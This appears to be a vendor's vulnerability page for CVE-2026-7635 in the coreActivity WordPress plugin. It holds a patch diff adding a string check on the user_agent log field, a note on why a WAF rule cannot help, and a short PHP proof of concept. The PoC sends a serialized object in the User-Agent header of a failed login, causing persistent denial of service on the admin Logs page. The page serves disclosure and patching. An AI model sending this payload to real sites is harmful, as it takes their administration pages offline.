-		if ( $this->_logs_instance == 'coreactivity' ) {
-			Users::i()->update_last_user_log_visit();
-		}
-
-		do_action( $this->_filter_key . '_prepare_items_start', $this );
-
-		$this->prepare_column_headers();
-
-		$sql = $this->prepare_query_arguments();
-
-		$this->query_items( $sql, $this->rows_per_page(), true, true, 'log_id' );
-		$this->query_metas( coreactivity_db()->logmeta, 'log_id' );
-
-		foreach ( $this->items as &$item ) {
-			$ua = $item->meta['user_agent'] ?? '';
-
-			if ( isset( $item->meta['device'] ) ) {
-				$item->{"device"} = $item->meta['device'];
-
-				unset( $item->meta['device'] );
-			}
-
-			if ( ! isset( $item->device ) || ( ! isset( $item->device['bot'] ) && empty( $item->device['client'] ) && empty( $item->device['os'] ) ) ) {
-				if ( ! empty( $ua ) ) {
-					$item->{"device"} = Device::i()->detect( $ua );
-				}
-			}
-
-			if ( $this->_display_ip_country_flag ) {
-				$ip = $item->ip;
-
-				if ( ! in_array( $ip, $this->_items_ips ) ) {
-					$this->_items_ips[] = $ip;
-				}
-			}
-		}
-
-		if ( ! empty( $this->_items_ips ) ) {
-			GEO::i()->bulk( $this->_items_ips );
-		}
-
-		do_action( $this->_filter_key . '_prepare_items_finish', $this );
-	}
-
-	public function get_columns() : array {
-		$columns = array(
-			'cb'          => '<input type="checkbox" />',
-			'log_id'      => __( 'ID', 'coreactivity' ),
-			'blog_id'     => __( 'Blog', 'coreactivity' ),
-			'user_id'     => __( 'User', 'coreactivity' ),
-			'component'   => __( 'Component', 'coreactivity' ),
-			'event_id'    => __( 'Event', 'coreactivity' ),
-			'context'     => __( 'Context', 'coreactivity' ),
-			'method'      => __( 'Method', 'coreactivity' ),
-			'protocol'    => __( 'Protocol', 'coreactivity' ),
-			'request'     => __( 'Request', 'coreactivity' ),
-			'object_type' => __( 'Object Type', 'coreactivity' ),
-			'object_name' => __( 'Object', 'coreactivity' ),
-			'meta_data'   => __( 'Meta', 'coreactivity' ),
-			'ip'          => __( 'IP', 'coreactivity' ),
-			'detection'   => __( 'Detection', 'coreactivity' ),
-			'logged'      => __( 'Logged', 'coreactivity' ),
-			'meta'        => '<i class="vers d4p-icon d4p-ui-chevron-square-down d4p-icon-lg" title="' . esc_attr__( 'Toggle Meta', 'coreactivity' ) . '"></i><span class="screen-reader-text">' . esc_html__( 'Toggle Meta', 'coreactivity' ) . '</span>',
-		);
-
-		if ( ! $this->_display_request_column ) {
-			unset( $columns['request'] );
-		}
-
-		if ( ! $this->_display_protocol_column ) {
-			unset( $columns['protocol'] );
-		}
-
-		if ( ! $this->_display_detection_column ) {
-			unset( $columns['detection'] );
-		}
-
-		if ( ! $this->_display_meta_column ) {
-			unset( $columns['meta_data'] );
-		}
-
-		if ( ! $this->_display_object_type_column ) {
-			unset( $columns['object_type'] );
-		}
-
-		foreach ( array_keys( $this->_filter_lock ) as $column ) {
-			if ( isset( $columns[ $column ] ) ) {
-				unset( $columns[ $column ] );
-			}
-		}
-
-		if ( isset( $this->_filter_lock['event_id'] ) ) {
-			unset( $columns['component'] );
-		}
-
-		return apply_filters( $this->_filter_key . '_logs_columns', $columns, $this );
-	}
-
-	public function single_row( $item ) {
-		parent::single_row( $item );
-
-		$classes = $this->get_row_classes( $item, array( 'coreactivity-hidden-row', '__hidden' ) );
-
-		echo '<tr class="' . esc_attr( join( ' ', $classes ) ) . '">';
-		$this->single_hidden_row( $item );
-		echo '</tr>';
-	}
-
-	public function live_attributes() {
-		$data = array(
-			'lock'     => $this->_filter_lock,
-			'atts'     => $this->_request_args,
-			'limit'    => $this->_limit_lock,
-			'filter'   => $this->_filter_key,
-			'settings' => array(),
-			'id'       => DB::i()->get_last_log_id(),
-			'nonce'    => wp_create_nonce( 'coreactivity-live-update' ),
-			'page'     => isset( $_GET['page'] ) ? sanitize_text_field( wp_unslash( $_GET['page'] ) ) : '', // phpcs:ignore WordPress.Security.NonceVerification
-		);
-
-		foreach ( $this->_allowed_override_settings as $key ) {
-			$data['settings'][ $key ] = $this->$key;
-		}
-
-		wp_localize_script( coreactivity_admin()->e()->prefix() . 'coreactivity-admin', 'coreactivity_live', $data );
-	}
-
-	protected function process_request_args() {
-		$this->_request_args = array(
-			'filter-blog_id'      => Sanitize::_get_absint( 'filter-blog_id' ),
-			'filter-user_id'      => Sanitize::_get_absint( 'filter-user_id' ),
-			'filter-event_id'     => Sanitize::_get_absint( 'filter-event_id' ),
-			'filter-ip'           => Sanitize::_get_text( 'filter-ip' ),
-			'filter-component'    => Sanitize::_get_text( 'filter-component' ),
-			'filter-country_code' => strtoupper( Sanitize::_get_slug( 'filter-country_code' ) ),
-			'filter-context'      => strtoupper( Sanitize::_get_slug( 'filter-context' ) ),
-			'filter-method'       => strtoupper( Sanitize::_get_slug( 'filter-method' ) ),
-			'filter-object_type'  => Sanitize::_get_slug( 'filter-object_type' ),
-			'filter-object_id'    => Sanitize::_get_absint( 'filter-object_id' ),
-			'filter-object_name'  => Sanitize::_get_text( 'filter-object_name' ),
-			'view'                => $this->_get_field( 'view' ),
-			'search'              => $this->_get_field( 's' ),
-			'period'              => $this->_get_field( 'period' ),
-			'orderby'             => $this->_get_field( 'orderby', 'l.log_id' ),
-			'order'               => $this->_get_field( 'order', 'DESC' ),
-			'paged'               => $this->_get_field( 'paged' ),
-			'min_id'              => 0,
-		);
-
-		if ( ! empty( $this->_request_args['filter-component'] ) && ! $this->i()->is_component_valid( $this->_request_args['filter-component'] ) ) {
-			$this->_request_args['filter-component'] = '';
-		}
-
-		if ( ! empty( $this->_request_args['filter-event_id'] ) && ! $this->i()->is_event_id_valid( $this->_request_args['filter-event_id'] ) ) {
-			$this->_request_args['filter-event_id'] = '';
-		}
-
-		foreach ( array_keys( $this->_filter_lock ) as $field ) {
-			$key = 'filter-' . $field;
-
-			if ( isset( $this->_request_args[ $key ] ) ) {
-				$this->_request_args[ $key ] = '';
-			}
-		}
-
-		if ( isset( $this->_filter_lock['event_id'] ) ) {
-			$this->_request_args['filter-component'] = '';
-		}
-
-		if ( ! is_multisite() ) {
-			$this->_filter_lock['blog_id'] = - 1;
-		}
-
-		$this->prepare_the_view();
-	}
-
-	protected function prepare_query_settings() : array {
-		$sel = array(
-			'search'       => $this->get_request_arg( 'search' ),
-			'period'       => $this->get_request_arg( 'period' ),
-			'blog_id'      => $this->get_request_arg( 'filter-blog_id' ),
-			'user_id'      => $this->get_request_arg( 'filter-user_id' ),
-			'event_id'     => $this->get_request_arg( 'filter-event_id' ),
-			'country_code' => $this->get_request_arg( 'filter-country_code' ),
-			'ip'           => $this->get_request_arg( 'filter-ip' ),
-			'component'    => $this->get_request_arg( 'filter-component' ),
-			'context'      => $this->get_request_arg( 'filter-context' ),
-			'method'       => $this->get_request_arg( 'filter-method' ),
-			'object_type'  => $this->get_request_arg( 'filter-object_type' ),
-			'object_id'    => $this->get_request_arg( 'filter-object_id' ),
-			'object_name'  => $this->get_request_arg( 'filter-object_name' ),
-			'min_id'       => $this->get_request_arg( 'min_id' ),
-		);
-
-		if ( isset( $this->_filter_lock['blog_id'] ) ) {
-			$sel['blog_id'] = $this->_filter_lock['blog_id'];
-		}
-
-		if ( isset( $this->_filter_lock['user_id'] ) ) {
-			$sel['user_id'] = $this->_filter_lock['user_id'];
-		}
-
-		if ( isset( $this->_filter_lock['ip'] ) ) {
-			$sel['ip'] = $this->_filter_lock['ip'];
-		}
-
-		if ( isset( $this->_filter_lock['country_code'] ) ) {
-			$sel['country_code'] = $this->_filter_lock['country_code'];
-		}
-
-		if ( isset( $this->_filter_lock['object_type'] ) ) {
-			$sel['object_type'] = $this->_filter_lock['object_type'];
-		}
-
-		if ( isset( $this->_filter_lock['component'] ) ) {
-			$sel['component'] = $this->_filter_lock['component'];
-
-			if ( isset( $this->_filter_lock['event_id'] ) ) {
-				$sel['event_id'] = $this->i()->get_event_id( $sel['component'], $this->_filter_lock['event_id'] );
-			}
-		} else {
-			$_locked = $this->locked_components();
-
-			if ( ! empty( $_locked ) ) {
-				$sel['component'] = in_array( $sel['component'], $_locked ) ? $sel['component'] : $_locked;
-			}
-		}
-
-		return apply_filters( $this->_filter_key . '_logs_selection', $sel, $this );
-	}
-
-	protected function prepare_query_arguments() : array {
-		$sel = $this->prepare_query_settings();
-
-		$sql = array(
-			'select' => array(
-				'l.*',
-				'e.`component`',
-				'e.`event`',
-			),
-			'from'   => array(
-				coreactivity_db()->logs . ' l ',
-				'INNER JOIN ' . coreactivity_db()->events . ' e ON l.`event_id` = e.`event_id`',
-			),
-			'where'  => array(),
-		);
-
-		if ( ! empty( $sel['blog_id'] ) && $sel['blog_id'] > 0 ) {
-			$sql['where'][] = $this->db()->prepare( 'l.`blog_id` = %d', $sel['blog_id'] );
-		}
-
-		if ( $sel['min_id'] > 0 ) {
-			$sql['where'][] = $this->db()->prepare( 'l.`log_id` > %d', $sel['min_id'] );
-		}
-
-		if ( ! empty( $sel['user_id'] ) && $sel['user_id'] > 0 ) {
-			$sql['where'][] = $this->db()->prepare( 'l.`user_id` = %d', $sel['user_id'] );
-		}
-
-		if ( ! empty( $sel['event_id'] ) && $sel['event_id'] > 0 ) {
-			$sql['where'][] = $this->db()->prepare( 'l.`event_id` = %d', $sel['event_id'] );
-		} else if ( ! empty( $sel['component'] ) ) {
-			$in_components  = $this->db()->prepare_in_list( (array) $sel['component'] );
-			$sql['where'][] = 'e.`component` IN (' . $in_components . ')';
-		}
-
-		if ( ! empty( $sel['context'] ) ) {
-			$sel['context'] = $sel['context'] == '-' ? '' : $sel['context'];
-			$sql['where'][] = $this->db()->prepare( 'l.`context` = %s', $sel['context'] );
-		}
-
-		if ( ! empty( $sel['method'] ) ) {
-			$sql['where'][] = $this->db()->prepare( 'l.`method` = %s', $sel['method'] );
-		}
-
-		if ( ! empty( $sel['ip'] ) ) {
-			$sql['where'][] = $this->db()->prepare( 'l.`ip` = %s', $sel['ip'] );
-		}
-
-		if ( ! empty( $sel['country_code'] ) ) {
-			$sql['where'][] = $this->db()->prepare( 'l.`country_code` = %s', $sel['country_code'] );
-		}
-
-		if ( ! empty( $sel['object_type'] ) ) {
-			$sql['where'][] = $this->db()->prepare( 'l.`object_type` = %s', $sel['object_type'] );
-		}
-
-		if ( ! empty( $sel['object_id'] ) ) {
-			$sql['where'][] = $this->db()->prepare( 'l.`object_id` = %d', $sel['object_id'] );
-		}
-
-		if ( ! empty( $sel['object_name'] ) ) {
-			$sql['where'][] = $this->db()->prepare( 'l.`object_name` = %s', $sel['object_name'] );
-		}
-
-		if ( ! empty( $sel['period'] ) ) {
-			$sql['where'][] = $this->_get_period_where( $sel['period'], 'l.`logged`' );
-		}
-
-		if ( ! empty( $sel['search'] ) ) {
-			$sql['where'][] = $this->_get_search_where( array( 'e.`component`', 'e.`ip`', 'e.`event`, l.`request`, l.`object_name`' ), $sel['search'] );
-		}
-
-		return apply_filters( $this->_filter_key . '_logs_sql', $sql, $this );
-	}
-
-	protected function get_select_components() : array {
-		if ( ! empty( $this->_limit_lock['components'] ) ) {
-			return $this->_limit_lock['components'];
-		}
-
-		$components = $this->i()->get_select_event_components( $this->_display_columns_simplified );
-
-		return apply_filters( $this->_filter_key . '_select_components', $components, $this );
-	}
-
-	protected function get_select_events() : array {
-		$component = $this->_filter_lock['component'] ?? '';
-
-		if ( empty( $component ) ) {
-			$component = $this->locked_components();
-		}
-
-		$events = $this->i()->get_select_events( $this->_display_columns_simplified, empty( $component ) ? array() : (array) $component );
-
-		return apply_filters( $this->_filter_key . '_select_events', $events, $this );
-	}
-
-	protected function _admin() {
-		return $this->_admin_object ?? panel()->a();
-	}
-
-	protected function _url() : string {
-		if ( ! empty( $this->_url_page_name ) ) {
-			return admin_url( 'admin.php?page=' . $this->_url_page_name );
-		}
-
-		return parent::_url();
-	}
-
-	protected function _view( string $view, string $args ) : string {
-		return $this->_url() . '&view=' . $view . '&' . $args;
-	}
-
-	protected function _self( $args, $getback = false, $nonce = null ) : string {
-		$url = parent::_self( $args, $getback, $nonce );
-
-		if ( ! empty( $this->_current_view ) ) {
-			$url .= '&view=' . $this->_current_view;
-			$url .= '&filter-' . $this->_current_view . '=' . $this->_filter_lock[ $this->_current_view ];
-		}
-
-		return $url;
-	}
-
-	protected function db() : ?DBLite {
-		return coreactivity_db();
-	}
-
-	protected function prepare_the_view() {
-		if ( in_array( $this->_request_args['view'], $this->_valid_views ) ) {
-			$this->_current_view = $this->_request_args['view'];
-
-			switch ( $this->_current_view ) {
-				case 'object':
-					if ( ! isset( $this->_filter_lock['object_type'] ) && ! empty( $this->_request_args['filter-object_type'] ) ) {
-						$this->_filter_lock['object_type'] = $this->_request_args['filter-object_type'];
-
-						if ( ! isset( $this->_filter_lock['object_name'] ) && ! empty( $this->_request_args['filter-object_name'] ) ) {
-							$this->_filter_lock['object_name'] = $this->_request_args['filter-object_name'];
-						}
-
-						if ( ! isset( $this->_filter_lock['object_id'] ) && $this->_request_args['filter-object_id'] != 0 ) {
-							$this->_filter_lock['object_id'] = $this->_request_args['filter-object_id'];
-						}
-					} else {
-						$this->_current_view = '';
-					}
-					break;
-				default:
-					if ( ! isset( $this->_filter_lock[ $this->_current_view ] ) && ! empty( $this->_request_args[ 'filter-' . $this->_current_view ] ) ) {
-						$this->_filter_lock[ $this->_current_view ] = $this->_request_args[ 'filter-' . $this->_current_view ];
-					} else {
-						$this->_current_view = '';
-					}
-					break;
-			}
-		}
-	}
-
-	protected function filter_block_top() {
-		echo '<div class="alignleft actions">';
-		Elements::i()->select( $this->get_period_dropdown( 'logged', coreactivity_db()->logs ), array(
-			'selected' => $this->get_request_arg( 'period' ),
-			'name'     => 'period',
-		) );
-
-		if ( ! isset( $this->_filter_lock['component'] ) && ! isset( $this->_filter_lock['event_id'] ) ) {
-			Elements::i()->select_grouped( $this->get_select_components(), array(
-				'empty'    => __( 'All Components', 'coreactivity' ),
-				'selected' => $this->get_request_arg( 'filter-component' ),
-				'name'     => 'filter-component',
-			) );
-		}
-
-		if ( ! isset( $this->_filter_lock['event_id'] ) ) {
-			Elements::i()->select_grouped( $this->get_select_events(), array(
-				'empty'    => __( 'All Events', 'coreactivity' ),
-				'selected' => $this->get_request_arg( 'filter-event_id' ),
-				'name'     => 'filter-event_id',
-			) );
-		}
-
-		if ( ! isset( $this->_filter_lock['context'] ) ) {
-			$_contexts = array(
-				''  => __( 'All Contexts', 'coreactivity' ),
-				'-' => __( 'Normal', 'coreactivity' ),
-			);
-
-			foreach ( Core::i()->valid_request_contexts() as $context ) {
-				$_contexts[ $context ] = $context;
-			}
-
-			Elements::i()->select( $_contexts, array(
-				'selected' => $this->get_request_arg( 'filter-context' ),
-				'name'     => 'filter-context',
-			) );
-		}
-
-		Elements::i()->select_grouped( $this->get_country_codes(), array(
-			'empty'    => __( 'All Countries', 'coreactivity' ),
-			'selected' => $this->get_request_arg( 'filter-country_code' ),
-			'name'     => 'filter-country_code',
-		) );
-
-		if ( ! isset( $this->_filter_lock['method'] ) ) {
-			$_methods = array(
-				'' => __( 'All Methods', 'coreactivity' ),
-			);
-
-			foreach ( Core::i()->valid_request_methods() as $method ) {
-				$_methods[ $method ] = $method;
-			}
-
-			Elements::i()->select( $_methods, array(
-				'selected' => $this->get_request_arg( 'filter-method' ),
-				'name'     => 'filter-method',
-			) );
-		}
-
-		if ( ! in_array( 'object_type', $this->_filter_remove ) ) {
-			if ( ! isset( $this->_filter_lock['object_type'] ) ) {
-				$_types = array(
-					'' => __( 'All Object Types', 'coreactivity' ),
-				);
-
-				foreach ( $this->i()->get_object_types() as $type => $value ) {
-					$_types[ $type ] = $value;
-				}
-
-				Elements::i()->select( $_types, array(
-					'selected' => $this->get_request_arg( 'filter-object_type' ),
-					'name'     => 'filter-object_type',
-				) );
-			}
-		}
-
-		submit_button( __( 'Filter', 'coreactivity' ), 'button', false, false, array( 'id' => 'coreactivity-events-submit' ) );
-		echo '</div>';
-	}
-
-	protected function get_country_codes() : array {
-		$sql = "SELECT DISTINCT `country_code` FROM " . $this->db()->logs . " WHERE `country_code` IS NOT NULL ORDER BY `country_code`";
-		$raw = $this->db()->get_results( $sql );
-
-		$list = array(
-			'XX' => __( 'Localhost or Private', 'coreactivity' ),
-		);
-
-		$has_localhost = false;
-		foreach ( $raw as $row ) {
-			$code = $row->country_code;
-
-			if ( empty( $code ) ) {
-				continue;
-			}
-
-			if ( $code == 'XX' ) {
-				$has_localhost = true;
-			} else {
-				$list[ $code ] = trim( '[' . $code . '] ' . GEO::i()->country( $code ) );
-			}
-		}
-
-		if ( ! $has_localhost ) {
-			unset( $list['XX'] );
-		}
+    public array $_sanitize_orderby_fields = array( 'l.log_id', 'l.ip', 'e.component', 'e.event' );
+    public string $_table_class_name = 'coreactivity-grid-logs';
+    public string $_checkbox_field = 'log_id';
+    public string $_self_nonce_key = 'coreactivity-table-logs';
+    public string $_rows_per_page_key = 'coreactivity_logs_rows_per_page';
+    public int $_rows_per_page_default = 25;
+    public string $_views_separator = '';
+    public $_current_view = '';
+    public $_current_ip = '';
+    public $_server_ip = '';
+
+    protected $_is_live_instance = false;
+    protected $_display_blog_column_linked;
+    protected $_display_columns_simplified;
+    protected $_display_ip_country_flag;
+    protected $_display_user_avatar;
+    protected $_display_request_column;
+    protected $_display_detection_column;
+    protected $_display_protocol_column;
+    protected $_display_object_type_column;
+    protected $_display_meta_column = null;
+    protected $_admin_object = null;
+    protected $_filter_key = 'coreactivity';
+    protected $_logs_instance = 'coreactivity';
+    protected $_url_page_name = '';
+    protected $_limit_lock = array();
+    protected $_filter_lock = array();
+    protected $_filter_remove = array();
+    protected $_items_ips = array();
+    protected $_meta_column = array();
+    protected $_view_pairs = array(
+            'object' => array( 'object_type', 'object_id', 'object_name' ),
+    );
+    protected $_valid_views = array(
+            'user_id',
+            'blog_id',
+            'event_id',
+            'ip',
+            'object_type',
+            'object',
+            'country_code',
+            'component',
+            'context',
+            'method',
+    );
+    protected $_allowed_override_settings = array(
+            '_display_meta_column',
+            '_logs_instance',
+            '_filter_key',
+            '_meta_column',
+            '_rows_per_page_key',
+            '_current_view',
+    );
+
+    public function __construct( $args = array() ) {
+        Display::i();
+
+        foreach ( $args as $key => $value ) {
+            if ( property_exists( $this, $key ) ) {
+                $this->$key = $value;
+            }
+        }
+
+        $this->_current_ip = Core::i()->get( 'ip' );
+        $this->_server_ip  = Core::i()->get( 'server_ip' );
+
+        $this->_display_blog_column_linked = coreactivity_settings()->get( 'display_blog_column_linked' );
+        $this->_display_columns_simplified = coreactivity_settings()->get( 'display_columns_simplified' );
+        $this->_display_ip_country_flag    = coreactivity_settings()->get( 'display_ip_country_flag' );
+        $this->_display_user_avatar        = coreactivity_settings()->get( 'display_user_avatar' );
+        $this->_display_request_column     = coreactivity_settings()->get( 'display_request_column' );
+        $this->_display_protocol_column    = coreactivity_settings()->get( 'display_protocol_column' );
+        $this->_display_detection_column   = coreactivity_settings()->get( 'display_detection_column' );
+        $this->_display_object_type_column = coreactivity_settings()->get( 'display_object_type_column' );
+
+        if ( is_null( $this->_display_meta_column ) ) {
+            $this->_display_meta_column = coreactivity_settings()->get( 'display_meta_column' );
+        }
+
+        if ( $this->_display_meta_column ) {
+            $this->_meta_column = apply_filters( 'coreactivity_logs_meta_column_keys', array(), $this );
+        }
+
+        parent::__construct( array(
+                'singular' => 'log',
+                'plural'   => 'logs',
+                'ajax'     => false,
+        ) );
+    }
+
+    public function i() : Activity {
+        return Activity::i();
+    }
+
+    public function get_instance_code() : string {
+        return $this->_logs_instance;
+    }
+
+    public function get_columns_simplified() : bool {
+        return $this->_display_columns_simplified;
+    }
+
+    public function set_limit_lock( $name, $value ) {
+        $this->_limit_lock[ $name ] = $value;
+    }
+
+    public function set_filter_lock( $name, $value ) {
+        $this->_filter_lock[ $name ] = $value;
+    }
+
+    public function prepare_items() {
+        if ( $this->_logs_instance == 'coreactivity' ) {
+            Users::i()->update_last_user_log_visit();
+        }
+
+        do_action( $this->_filter_key . '_prepare_items_start', $this );
+
+        $this->prepare_column_headers();
+
+        $sql = $this->prepare_query_arguments();
+
+        $this->query_items( $sql, $this->rows_per_page(), true, true, 'log_id' );
+        $this->query_metas( coreactivity_db()->logmeta, 'log_id' );
+
+        foreach ( $this->items as &$item ) {
+            $ua = $item->meta['user_agent'] ?? '';
+
+            if ( ! is_string( $ua ) ) {
+                $ua = '';
+            }
+
+            if ( isset( $item->meta['device'] ) ) {
+                $item->{"device"} = $item->meta['device'];
+
+                unset( $item->meta['device'] );
+            }
+
+            if ( ! isset( $item->device ) || ( ! isset( $item->device['bot'] ) && empty( $item->device['client'] ) && empty( $item->device['os'] ) ) ) {
+                if ( ! empty( $ua ) ) {
+                    $item->{"device"} = Device::i()->detect( $ua );
+                }
+            }
+
+            if ( $this->_display_ip_country_flag ) {
+                $ip = $item->ip;
+
+                if ( ! in_array( $ip, $this->_items_ips ) ) {
+                    $this->_items_ips[] = $ip;
+                }
+            }
+        }
+
+        if ( ! empty( $this->_items_ips ) ) {
+            GEO::i()->bulk( $this->_items_ips );
+        }
+
+        do_action( $this->_filter_key . '_prepare_items_finish', $this );
+    }
+
+    public function get_columns() : array {
+        $columns = array(
+                'cb'          => '<input type="checkbox" />',
+                'log_id'      => __( 'ID', 'coreactivity' ),
+                'blog_id'     => __( 'Blog', 'coreactivity' ),
+                'user_id'     => __( 'User', 'coreactivity' ),
+                'component'   => __( 'Component', 'coreactivity' ),
+                'event_id'    => __( 'Event', 'coreactivity' ),
+                'context'     => __( 'Context', 'coreactivity' ),
+                'method'      => __( 'Method', 'coreactivity' ),
+                'protocol'    => __( 'Protocol', 'coreactivity' ),
+                'request'     => __( 'Request', 'coreactivity' ),
+                'object_type' => __( 'Object Type', 'coreactivity' ),
+                'object_name' => __( 'Object', 'coreactivity' ),
+                'meta_data'   => __( 'Meta', 'coreactivity' ),
+                'ip'          => __( 'IP', 'coreactivity' ),
+                'detection'   => __( 'Detection', 'coreactivity' ),
+                'logged'      => __( 'Logged', 'coreactivity' ),
+                'meta'        => '<i class="vers d4p-icon d4p-ui-chevron-square-down d4p-icon-lg" title="' . esc_attr__( 'Toggle Meta', 'coreactivity' ) . '"></i><span class="screen-reader-text">' . esc_html__( 'Toggle Meta', 'coreactivity' ) . '</span>',
+        );
+
+        if ( ! $this->_display_request_column ) {
+            unset( $columns['request'] );
+        }
+
+        if ( ! $this->_display_protocol_column ) {
+            unset( $columns['protocol'] );
+        }
+
+        if ( ! $this->_display_detection_column ) {
+            unset( $columns['detection'] );
+        }
+
+        if ( ! $this->_display_meta_column ) {
+            unset( $columns['meta_data'] );
+        }
+
+        if ( ! $this->_display_object_type_column ) {
+            unset( $columns['object_type'] );
+        }
+
+        foreach ( array_keys( $this->_filter_lock ) as $column ) {
+            if ( isset( $columns[ $column ] ) ) {
+                unset( $columns[ $column ] );
+            }
+        }
+
+        if ( isset( $this->_filter_lock['event_id'] ) ) {
+            unset( $columns['component'] );
+        }
+
+        return apply_filters( $this->_filter_key . '_logs_columns', $columns, $this );
+    }
+
+    public function single_row( $item ) {
+        parent::single_row( $item );
+
+        $classes = $this->get_row_classes( $item, array( 'coreactivity-hidden-row', '__hidden' ) );
+
+        echo '<tr class="' . esc_attr( join( ' ', $classes ) ) . '">';
+        $this->single_hidden_row( $item );
+        echo '</tr>';
+    }
+
+    public function live_attributes() {
+        $data = array(
+                'lock'     => $this->_filter_lock,
+                'atts'     => $this->_request_args,
+                'limit'    => $this->_limit_lock,
+                'filter'   => $this->_filter_key,
+                'settings' => array(),
+                'id'       => DB::i()->get_last_log_id(),
+                'nonce'    => wp_create_nonce( 'coreactivity-live-update' ),
+                'page'     => isset( $_GET['page'] ) ? sanitize_text_field( wp_unslash( $_GET['page'] ) ) : '', // phpcs:ignore WordPress.Security.NonceVerification
+        );
+
+        foreach ( $this->_allowed_override_settings as $key ) {
+            $data['settings'][ $key ] = $this->$key;
+        }
+
+        wp_localize_script( coreactivity_admin()->e()->prefix() . 'coreactivity-admin', 'coreactivity_live', $data );
+    }
+
+    protected function process_request_args() {
+        $this->_request_args = array(
+                'filter-blog_id'      => Sanitize::_get_absint( 'filter-blog_id' ),
+                'filter-user_id'      => Sanitize::_get_absint( 'filter-user_id' ),
+                'filter-event_id'     => Sanitize::_get_absint( 'filter-event_id' ),
+                'filter-ip'           => Sanitize::_get_text( 'filter-ip' ),
+                'filter-component'    => Sanitize::_get_text( 'filter-component' ),
+                'filter-country_code' => strtoupper( Sanitize::_get_slug( 'filter-country_code' ) ),
+                'filter-context'      => strtoupper( Sanitize::_get_slug( 'filter-context' ) ),
+                'filter-method'       => strtoupper( Sanitize::_get_slug( 'filter-method' ) ),
+                'filter-object_type'  => Sanitize::_get_slug( 'filter-object_type' ),
+                'filter-object_id'    => Sanitize::_get_absint( 'filter-object_id' ),
+                'filter-object_name'  => Sanitize::_get_text( 'filter-object_name' ),
+                'view'                => $this->_get_field( 'view' ),
+                'search'              => $this->_get_field( 's' ),
+                'period'              => $this->_get_field( 'period' ),
+                'orderby'             => $this->_get_field( 'orderby', 'l.log_id' ),
+                'order'               => $this->_get_field( 'order', 'DESC' ),
+                'paged'               => $this->_get_field( 'paged' ),
+                'min_id'              => 0,
+        );
+
+        if ( ! empty( $this->_request_args['filter-component'] ) && ! $this->i()->is_component_valid( $this->_request_args['filter-component'] ) ) {
+            $this->_request_args['filter-component'] = '';
+        }
+
+        if ( ! empty( $this->_request_args['filter-event_id'] ) && ! $this->i()->is_event_id_valid( $this->_request_args['filter-event_id'] ) ) {
+            $this->_request_args['filter-event_id'] = '';
+        }
+
+        foreach ( array_keys( $this->_filter_lock ) as $field ) {
+            $key = 'filter-' . $field;
+
+            if ( isset( $this->_request_args[ $key ] ) ) {
+                $this->_request_args[ $key ] = '';
+            }
+        }
+
+        if ( isset( $this->_filter_lock['event_id'] ) ) {
+            $this->_request_args['filter-component'] = 

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-7635
# This vulnerability is not suitable for virtual patching at the WAF level.
# The attack vector is the User-Agent HTTP header, which is sent with every HTTP request.
# Matching on serialized payload patterns in the User-Agent header would cause massive false positives,
# as many legitimate User-Agent strings contain colons and other characters used in serialization.
# Additionally, the vulnerability triggers via any request that the plugin logs, not a specific endpoint.
# The fix is a server-side validation that cannot be replicated at the WAF layer without blocking legitimate traffic.
SecRule &REQUEST_HEADERS:User-Agent "@eq 0" "id:20267635,phase:1,pass,nolog,skip:1"
SecRule REQUEST_HEADERS:User-Agent "@unconditionalMatch" "id:20267636,phase:1,pass,nolog,ctl:requestBodyAccess=off"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-7635 - coreActivity: Activity Logging for WordPress <= 3.0 - Unauthenticated PHP Object Injection via 'user_agent' Log Meta Field

<?php
// Configuration - set the target WordPress site URL
$target_url = 'http://example.com/wp-login.php'; // Change this to the target site's login page

// The serialized payload that will cause a Fatal TypeError when deserialized
// This payload creates an object of class DeviceDetectorDeviceDetectorDeviceDetector
// which is not a string and will fail the type hint in DeviceDetector::setUserAgent()
$serialized_payload = 'O:36:"DeviceDetector\DeviceDetector\DeviceDetector":0:{}';

// The User-Agent header with the malicious serialized payload
$user_agent = $serialized_payload;

// Initialize cURL session
$ch = curl_init();

// Set the target URL - we are triggering a failed login attempt to create a log entry
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);

// Set the POST data for a failed login attempt
$post_data = array(
    'log' => 'nonexistentuser',
    'pwd' => 'invalidpassword',
    'wp-submit' => 'Log In'
);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));

// Set the malicious User-Agent header
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'User-Agent: ' . $user_agent
));

// Do not verify SSL certificate (for testing with self-signed certs)
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

// Execute the request
$response = curl_exec($ch);

// Check for errors
if (curl_errno($ch)) {
    echo 'cURL error: ' . curl_error($ch) . "n";
} else {
    // Extract the HTTP status code
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    echo "HTTP Status Code: " . $http_code . "n";
    echo "Response length: " . strlen($response) . " bytesn";
    echo "nExploit attempt sent.n";
    echo "The payload has been stored in the log meta table.n";
    echo "When an administrator visits the Logs page (admin.php?page=coreactivity-logs),n";
    echo "the page will crash with a Fatal TypeError due to the injected object.n";
    echo "This creates a persistent Denial of Service condition.n";
}

// Close cURL session
curl_close($ch);

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

